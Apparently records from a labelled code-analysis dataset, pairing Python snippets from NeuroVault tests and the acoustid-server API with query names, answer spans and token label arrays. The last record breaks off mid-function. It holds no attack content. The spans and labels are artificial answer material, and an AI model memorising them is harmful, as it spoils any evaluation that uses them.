[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
NeuroVault/NeuroVault/neurovault/apps/statmaps/tests/test_add_statmap_form.py
[ { "content": " def testaddAFNI(self):\n\n post_dict = {\n 'name': \"test map\",\n 'cognitive_paradigm_cogatlas': 'trm_4f24126c22011',\n 'modality':'fMRI-BOLD',\n 'map_type': 'T',\n 'collection':self.coll.pk,\n }\n testpath = os.path.abspath(os.path.dirname(__file__))\n fname = os.path.join(testpath,'test_data/statmaps/saccade.I_C.MNI.nii.gz')\n\n nii = nb.load(fname)\n\n self.assertTrue(detect_4D(nii))\n self.assertTrue(len(split_4D_to_3D(nii)) > 0)\n\n file_dict = {'file': SimpleUploadedFile(fname, open(fname).read())}\n form = StatisticMapForm(post_dict, file_dict)\n\n self.assertTrue(form.is_valid())\n\n form.save()\n\n self.assertEqual(StatisticMap.objects.filter(collection=self.coll.pk).count(), 2)", "metadata": "root.AddStatmapsTests.testaddAFNI", "header": "['class', 'AddStatmapsTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 45 }, { "content": " def testaddImgHdr(self):\n\n post_dict = {\n 'name': \"test map\",\n 'cognitive_paradigm_cogatlas': 'trm_4f24126c22011',\n 'modality':'fMRI-BOLD',\n 'map_type': 'T',\n 'collection':self.coll.pk,\n }\n testpath = os.path.abspath(os.path.dirname(__file__))\n fname_img = os.path.join(testpath,'test_data/statmaps/box_0b_vs_1b.img')\n fname_hdr = os.path.join(testpath,'test_data/statmaps/box_0b_vs_1b.hdr')\n file_dict = {'file': SimpleUploadedFile(fname_img, open(fname_img).read()),\n 'hdr_file': SimpleUploadedFile(fname_hdr, open(fname_hdr).read())}\n form = StatisticMapForm(post_dict, file_dict)\n self.assertFalse(form.is_valid())\n self.assertTrue(\"thresholded\" in form.errors[\"file\"][0])\n \n post_dict = {\n 'name': \"test map\",\n 'cognitive_paradigm_cogatlas': 'trm_4f24126c22011',\n 'modality':'fMRI-BOLD',\n 'map_type': 'T',\n 'collection':self.coll.pk,\n 'ignore_file_warning': True\n }\n testpath = os.path.abspath(os.path.dirname(__file__))\n fname_img = os.path.join(testpath,'test_data/statmaps/box_0b_vs_1b.img')\n fname_hdr = os.path.join(testpath,'test_data/statmaps/box_0b_vs_1b.hdr')\n file_dict = {'file': SimpleUploadedFile(fname_img, open(fname_img).read()),\n 'hdr_file': SimpleUploadedFile(fname_hdr, open(fname_hdr).read())}\n form = StatisticMapForm(post_dict, file_dict)\n self.assertTrue(form.is_valid())\n\n form.save()\n \n self.assertEqual(StatisticMap.objects.filter(collection=self.coll.pk)[0].name, \"test map\")", "metadata": "root.AddStatmapsTests.testaddImgHdr", "header": "['class', 'AddStatmapsTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 71 } ]
[ { "span": "self.assertTrue(len(split_4D_to_3D(nii)) > 0)", "start_line": 60, "start_column": 12, "end_line": 60, "end_column": 57 }, { "span": "self.assertTrue(\"thresholded\" in form.errors[\"file\"][0])", "start_line": 87, "start_column": 12, "end_line": 87, "end_column": 68 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Add", "Stat", "maps", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "testa", "dd", "AF", "NI", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "post", "\\u", "dict_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "\"", "test", " ", "map", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cogni", "tiv", "e\\u", "parad", "igm", "\\u", "cog", "atlas", "'_", ":_", "'", "tr", "m", "\\u", "4f", "241", "2", "6c", "220", "11", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "modalit", "y", "'_", ":_", "'", "f", "MR", "I", "-", "BOL", "D", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "map", "\\u", "type", "'_", ":_", "'", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "collection", "'_", ":_", "self_", "._", "coll_", "._", "pk_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "testpa", "th_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fname_", "=_", "os_", "._", "path_", "._", "join_", "(_", "testpa", "th_", ",_", "'", "test\\u", "data", "/", "stat", "maps", "/", "sac", "cade", ".", "I", "\\u", "C", ".", "MN", "I", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ni", "i_", "=_", "nb_", "._", "load_", "(_", "fname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "detect", "\\u", "4", "D_", "(_", "ni", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "split", "\\u", "4", "D", "\\u", "to", "\\u", "3", "D_", "(_", "ni", "i_", ")_", ")_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "file", "\\u", "dict_", "=_", "{_", "'", "file", "'_", ":_", "Simple", "Upload", "ed", "File_", "(_", "fname_", ",_", "open_", "(_", "fname_", ")_", "._", "read_", "(_", ")_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form_", "=_", "Statistic", "Map", "Form_", "(_", "post", "\\u", "dict_", ",_", "file", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "form_", "._", "is", "\\u", "valid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "form_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "Statistic", "Map_", "._", "objects_", "._", "filter_", "(_", "collection_", "=_", "self_", "._", "coll_", "._", "pk_", ")_", "._", "count_", "(_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Add", "Stat", "maps", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "testa", "dd", "Im", "g", "Hdr", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "post", "\\u", "dict_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "\"", "test", " ", "map", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cogni", "tiv", "e\\u", "parad", "igm", "\\u", "cog", "atlas", "'_", ":_", "'", "tr", "m", "\\u", "4f", "241", "2", "6c", "220", "11", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "modalit", "y", "'_", ":_", "'", "f", "MR", "I", "-", "BOL", "D", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "map", "\\u", "type", "'_", ":_", "'", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "collection", "'_", ":_", "self_", "._", "coll_", "._", "pk_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "testpa", "th_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fname", "\\u", "img_", "=_", "os_", "._", "path_", "._", "join_", "(_", "testpa", "th_", ",_", "'", "test\\u", "data", "/", "stat", "maps", "/", "box", "\\u", "0b", "\\u", "vs", "\\u", "1b", ".", "img", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fname", "\\u", "hdr_", "=_", "os_", "._", "path_", "._", "join_", "(_", "testpa", "th_", ",_", "'", "test\\u", "data", "/", "stat", "maps", "/", "box", "\\u", "0b", "\\u", "vs", "\\u", "1b", ".", "hdr", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "dict_", "=_", "{_", "'", "file", "'_", ":_", "Simple", "Upload", "ed", "File_", "(_", "fname", "\\u", "img_", ",_", "open_", "(_", "fname", "\\u", "img_", ")_", "._", "read_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hdr", "\\u", "file", "'_", ":_", "Simple", "Upload", "ed", "File_", "(_", "fname", "\\u", "hdr_", ",_", "open_", "(_", "fname", "\\u", "hdr_", ")_", "._", "read_", "(_", ")_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form_", "=_", "Statistic", "Map", "Form_", "(_", "post", "\\u", "dict_", ",_", "file", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "form_", "._", "is", "\\u", "valid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "threshol", "ded", "\"_", "in_", "form_", "._", "errors_", "[_", "\"", "file", "\"_", "]_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "post", "\\u", "dict_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "\"", "test", " ", "map", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cogni", "tiv", "e\\u", "parad", "igm", "\\u", "cog", "atlas", "'_", ":_", "'", "tr", "m", "\\u", "4f", "241", "2", "6c", "220", "11", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "modalit", "y", "'_", ":_", "'", "f", "MR", "I", "-", "BOL", "D", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "map", "\\u", "type", "'_", ":_", "'", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "collection", "'_", ":_", "self_", "._", "coll_", "._", "pk_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ignore", "\\u", "file", "\\u", "warn", "ing", "'_", ":_", "True_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "testpa", "th_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fname", "\\u", "img_", "=_", "os_", "._", "path_", "._", "join_", "(_", "testpa", "th_", ",_", "'", "test\\u", "data", "/", "stat", "maps", "/", "box", "\\u", "0b", "\\u", "vs", "\\u", "1b", ".", "img", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fname", "\\u", "hdr_", "=_", "os_", "._", "path_", "._", "join_", "(_", "testpa", "th_", ",_", "'", "test\\u", "data", "/", "stat", "maps", "/", "box", "\\u", "0b", "\\u", "vs", "\\u", "1b", ".", "hdr", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "dict_", "=_", "{_", "'", "file", "'_", ":_", "Simple", "Upload", "ed", "File_", "(_", "fname", "\\u", "img_", ",_", "open_", "(_", "fname", "\\u", "img_", ")_", "._", "read_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hdr", "\\u", "file", "'_", ":_", "Simple", "Upload", "ed", "File_", "(_", "fname", "\\u", "hdr_", ",_", "open_", "(_", "fname", "\\u", "hdr_", ")_", "._", "read_", "(_", ")_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form_", "=_", "Statistic", "Map", "Form_", "(_", "post", "\\u", "dict_", ",_", "file", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "form_", "._", "is", "\\u", "valid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "form_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "Statistic", "Map_", "._", "objects_", "._", "filter_", "(_", "collection_", "=_", "self_", "._", "coll_", "._", "pk_", ")_", "[_", "0_", "]_", "._", "name_", ",_", "\"", "test", " ", "map", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
lalinsky/acoustid-server/acoustid/api/v2/__init__.py
[ { "content": "# Copyright (C) 2011 Lukas Lalinsky\n# Distributed under the MIT license, see the LICENSE file for details.\n\nimport re\nimport logging\nimport pprint\nimport json\nimport time\nimport operator\nfrom acoustid import const\nfrom acoustid.const import MAX_REQUESTS_PER_SECOND\nfrom acoustid.handler import Handler, Response\nfrom acoustid.data.track import lookup_mbids, resolve_track_gid, lookup_meta_ids\nfrom acoustid.data.musicbrainz import lookup_metadata\nfrom acoustid.data.submission import insert_submission, lookup_submission_status\nfrom acoustid.data.fingerprint import lookup_fingerprint, decode_fingerprint, FingerprintSearcher\nfrom acoustid.data.format import find_or_insert_format\nfrom acoustid.data.application import lookup_application_id_by_apikey\nfrom acoustid.data.account import lookup_account_id_by_apikey\nfrom acoustid.data.source import find_or_insert_source\nfrom acoustid.data.meta import insert_meta, lookup_meta\nfrom acoustid.data.foreignid import find_or_insert_foreignid\nfrom acoustid.data.stats import update_lookup_counter, update_user_agent_counter, update_lookup_avg_time\nfrom acoustid.ratelimiter import RateLimiter\nfrom werkzeug.exceptions import HTTPException, abort\nfrom werkzeug.utils import cached_property\nfrom acoustid.utils import is_uuid, is_foreignid, is_int, check_demo_client_api_key\nfrom acoustid.api import serialize_response, errors\n\nlogger = logging.getLogger(__name__)\n\n\nDEFAULT_FORMAT = 'json'\nFORMATS = set(['xml', 'json', 'jsonp'])\n\nDEMO_APPLICATION_ID = 2\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def iter_args_suffixes(args, *prefixes):\n results = set()\n for name in args.iterkeys():\n for prefix in prefixes:\n if name == prefix:\n results.add(None)\n elif name.startswith(prefix + '.'):\n prefix, suffix = name.split('.', 1)\n if suffix.isdigit():\n results.add(int(suffix))\n return ['.%d' % i if i is not None else '' for i in sorted(results)]", "metadata": "root.iter_args_suffixes", "header": "['module', '___EOS___']", "index": 38 }, { "content": "class APIHandlerParams(object):\n\n\n\n", "metadata": "root.APIHandlerParams", "header": "['module', '___EOS___']", "index": 51 }, { "content": " def __init__(self, config):\n self.config = config", "metadata": "root.APIHandlerParams.__init__", "header": "['class', 'APIHandlerParams', '(', 'object', ')', ':', '___EOS___']", "index": 53 }, { "content": " def _parse_client(self, values, conn):\n application_apikey = values.get('client')\n if not application_apikey:\n raise errors.MissingParameterError('client')\n self.application_id = lookup_application_id_by_apikey(conn, application_apikey)\n if not self.application_id:\n if check_demo_client_api_key(self.config.website.secret, application_apikey):\n self.application_id = DEMO_APPLICATION_ID\n else:\n logger.error(\"Invalid API key %s\", application_apikey)\n raise errors.InvalidAPIKeyError()\n self.application_version = values.get('clientversion')", "metadata": "root.APIHandlerParams._parse_client", "header": "['class', 'APIHandlerParams', '(', 'object', ')', ':', '___EOS___']", "index": 56 }, { "content": " def _parse_format(self, values):\n self.format = values.get('format', DEFAULT_FORMAT)\n if self.format not in FORMATS:\n self.format = DEFAULT_FORMAT # used for the error response\n raise errors.UnknownFormatError(self.format)\n if self.format == 'jsonp':\n callback = values.get('jsoncallback', 'jsonAcoustidApi')\n if not re.match('^[$A-Za-z_][0-9A-Za-z_]*(\\.[$A-Za-z_][0-9A-Za-z_]*)*$', callback):\n callback = 'jsonAcoustidApi'\n self.format = '%s:%s' % (self.format, callback)", "metadata": "root.APIHandlerParams._parse_format", "header": "['class', 'APIHandlerParams', '(', 'object', ')', ':', '___EOS___']", "index": 69 }, { "content": " def parse(self, values, conn):\n self._parse_format(values)", "metadata": "root.APIHandlerParams.parse", "header": "['class', 'APIHandlerParams', '(', 'object', ')', ':', '___EOS___']", "index": 80 }, { "content": "class APIHandler(Handler):\n\n params_class = None\n\n\n\n\n\n\n", "metadata": "root.APIHandler", "header": "['module', '___EOS___']", "index": 84 }, { "content": " def __init__(self, connect=None):\n self._connect = connect\n self.index = None\n self.redis = None\n self.config = None\n self.cluster = None", "metadata": "root.APIHandler.__init__", "header": "['class', 'APIHandler', '(', 'Handler', ')', ':', '___EOS___']", "index": 88 }, { "content": " @cached_property\n def conn(self):\n return self._connect()", "metadata": "root.APIHandler.conn", "header": "['class', 'APIHandler', '(', 'Handler', ')', ':', '___EOS___']", "index": 95 }, { "content": " @classmethod\n def create_from_server(cls, server):\n handler = cls(connect=server.engine.connect)\n handler.index = server.index\n handler.redis = server.redis\n handler.config = server.config\n handler.cluster = server.config.cluster\n return handler", "metadata": "root.APIHandler.create_from_server", "header": "['class', 'APIHandler', '(', 'Handler', ')', ':', '___EOS___']", "index": 99 }, { "content": " def _error(self, code, message, format=DEFAULT_FORMAT, status=400):\n response_data = {\n 'status': 'error',\n 'error': {\n 'code': code,\n 'message': message\n }\n }\n return serialize_response(response_data, format, status=status)", "metadata": "root.APIHandler._error", "header": "['class', 'APIHandler', '(', 'Handler', ')', ':', '___EOS___']", "index": 108 }, { "content": " def _ok(self, data, format=DEFAULT_FORMAT):\n response_data = {'status': 'ok'}\n response_data.update(data)\n return serialize_response(response_data, format)", "metadata": "root.APIHandler._ok", "header": "['class', 'APIHandler', '(', 'Handler', ')', ':', '___EOS___']", "index": 118 }, { "content": " def _rate_limit(self, user_ip, application_id):\n ip_rate_limit = self.config.rate_limiter.ips.get(user_ip, MAX_REQUESTS_PER_SECOND)\n if self.rate_limiter.limit('ip', user_ip, ip_rate_limit):\n if application_id == DEMO_APPLICATION_ID:\n raise errors.TooManyRequests(ip_rate_limit)\n if application_id is not None:\n application_rate_limit = self.config.rate_limiter.applications.get(application_id)\n if application_rate_limit is not None:\n if self.rate_limiter.limit('app', application_id, application_rate_limit):\n if application_id == DEMO_APPLICATION_ID:\n raise errors.TooManyRequests(application_rate_limit)", "metadata": "root.APIHandler._rate_limit", "header": "['class', 'APIHandler', '(', 'Handler', ')', ':', '___EOS___']", "index": 123 }, { "content": " def handle(self, req):\n params = self.params_class(self.config)\n if req.access_route:\n self.user_ip = req.access_route[0]\n else:\n self.user_ip = req.remote_addr\n self.is_secure = req.is_secure\n self.user_agent = req.user_agent\n self.rate_limiter = RateLimiter(self.redis, 'rl')\n try:\n try:\n params.parse(req.values, self.conn)\n self._rate_limit(self.user_ip, getattr(params, 'application_id', None))\n return self._ok(self._handle_internal(params), params.format)\n except errors.WebServiceError:\n raise\n except StandardError:\n logger.exception('Error while handling API request')\n raise errors.InternalError()\n except errors.WebServiceError, e:\n logger.error(\"WS error: %s\", e.message)\n return self._error(e.code, e.message, params.format, status=e.status)", "metadata": "root.APIHandler.handle", "header": "['class', 'APIHandler', '(', 'Handler', ')', ':', '___EOS___']", "index": 135 }, { "content": "class LookupHandlerParams(APIHandlerParams):\n\n duration_name = 'duration'\n\n", "metadata": "root.LookupHandlerParams", "header": "['module', '___EOS___']", "index": 159 }, { "content": " def _parse_query(self, values, suffix):\n p = {}\n p['index'] = (suffix or '')[1:]\n p['track_gid'] = values.get('trackid' + suffix)\n if p['track_gid'] and not is_uuid(p['track_gid']):\n raise errors.InvalidUUIDError('trackid' + suffix)\n if not p['track_gid']:\n p['duration'] = values.get(self.duration_name + suffix, type=int)\n if not p['duration']:\n raise errors.MissingParameterError(self.duration_name + suffix)\n fingerprint_string = values.get('fingerprint' + suffix)\n if not fingerprint_string:\n raise errors.MissingParameterError('fingerprint' + suffix)\n p['fingerprint'] = decode_fingerprint(fingerprint_string.encode('ascii', 'ignore'))\n if not p['fingerprint']:\n raise errors.InvalidFingerprintError()\n self.fingerprints.append(p)", "metadata": "root.LookupHandlerParams._parse_query", "header": "['class', 'LookupHandlerParams', '(', 'APIHandlerParams', ')', ':', '___EOS___']", "index": 163 }, { "content": " def parse(self, values, conn):\n super(LookupHandlerParams, self).parse(values, conn)\n self._parse_client(values, conn)\n self.meta = values.get('meta')\n if self.meta == '0' or not self.meta:\n self.meta = []\n elif self.meta == '1':\n self.meta = ['recordingids']\n elif self.meta == '2':\n self.meta = ['m2']\n else:\n self.meta = self.meta.split()\n self.max_duration_diff = values.get('maxdurationdiff', type=int)\n if self.max_duration_diff is None:\n self.max_duration_diff = const.FINGERPRINT_MAX_LENGTH_DIFF\n elif self.max_duration_diff > const.FINGERPRINT_MAX_ALLOWED_LENGTH_DIFF or self.max_duration_diff < 1:\n raise errors.InvalidMaxDurationDiffError('maxdurationdiff')\n self.batch = values.get('batch', type=int)\n self.fingerprints = []\n suffixes = list(iter_args_suffixes(values, 'fingerprint', 'trackid'))\n if not suffixes:\n raise errors.MissingParameterError('fingerprint')\n for i, suffix in enumerate(suffixes):\n try:\n self._parse_query(values, suffix)\n except errors.WebServiceError:\n if not self.fingerprints and i + 1 == len(suffixes):\n raise", "metadata": "root.LookupHandlerParams.parse", "header": "['class', 'LookupHandlerParams', '(', 'APIHandlerParams', ')', ':', '___EOS___']", "index": 181 }, { "content": "class LookupHandler(APIHandler):\n\n params_class = LookupHandlerParams\n recordings_name = 'recordings'\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.LookupHandler", "header": "['module', '___EOS___']", "index": 211 }, { "content": " def _inject_recording_ids_internal(self, add=True, add_sources=False):\n el_recording = {}\n res_map = {}\n track_mbid_map = lookup_mbids(self.conn, self.el_result.keys())\n for track_id, mbids in track_mbid_map.iteritems():\n res_map[track_id] = []\n for mbid, sources in mbids:\n res_map[track_id].append(mbid)\n if add:\n for result_el in self.el_result[track_id]:\n recording = {'id': mbid}\n if add_sources:\n recording['sources'] = sources\n result_el.setdefault(self.recordings_name, []).append(recording)\n el_recording.setdefault(mbid, []).append(recording)\n else:\n el_recording.setdefault(mbid, []).extend(self.el_result[track_id])\n return el_recording, res_map", "metadata": "root.LookupHandler._inject_recording_ids_internal", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 216 }, { "content": " def _inject_user_meta_ids_internal(self, add=True):\n el_recording = {}\n track_meta_map = lookup_meta_ids(self.conn, self.el_result.keys())\n for track_id, meta_ids in track_meta_map.iteritems():\n for meta_id in meta_ids:\n if add:\n for result_el in self.el_result[track_id]:\n recording = {}\n result_el.setdefault(self.recordings_name, []).append(recording)\n el_recording.setdefault(meta_id, []).append(recording)\n else:\n el_recording.setdefault(meta_id, 